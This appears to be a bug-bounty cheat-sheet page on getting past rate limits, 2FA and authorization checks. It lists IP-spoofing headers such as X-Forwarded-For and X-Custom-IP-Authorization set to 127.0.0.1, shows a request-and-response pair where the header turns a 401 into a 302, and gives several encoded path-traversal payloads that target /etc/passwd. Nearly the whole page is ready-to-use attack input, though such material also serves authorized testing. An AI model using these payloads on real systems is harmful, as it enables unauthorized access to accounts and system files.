Rate Limit Bypass / 2FA / OTP Bypass

X-Originating-IP: IP
X-Forwarded-For: IP
X-Remote-IP: IP
X-Remote-Addr: IP
X-Client-IP: IP
X-Host: IP
X-Forwared-Host: IP
True-Client-IP: IP
X-Real-IP: IP

I just happened to be able to bypass a 2FA in place during a recent engagement. And this was how I did it. #bugbountyTips #pentestTips Last /setup/ endpoint was by attacker while the first one is as victim.Image

How to find authentication bypass vulnerabilities. Focus. I Added headers. Request GET /delete?user=test HTTP/1.1 Response HTTP/1.1 401 Unauthorized Reqeust GET /delete?user=test HTTP/1.1 X-Custom-IP-Authorization: 127.0.0.1 Response HTTP/1.1 302 Found #bugbounty #bugbountytips

everytime yu face a 401 Unauthorized respense add this header to the request : X-Custom-IP-Authorization: 127.0.0.1 #bugbountytips / X-Forwarded-Origin: 127.0.0.1

Bug Bounty Technique:

GET /page.php?path=../../etc/passwd

Forbidden 403 ?

Try One Of These:

(1)../../../etc/passwd%00

(2)....//....//....//etc/passwd

(3)%252e%252e%252fetc%252fpasswd

2FA - https://mazoka777.medium.com/two-factor-authentication-bypass-4c814627f8c3

Last updated

Was this helpful?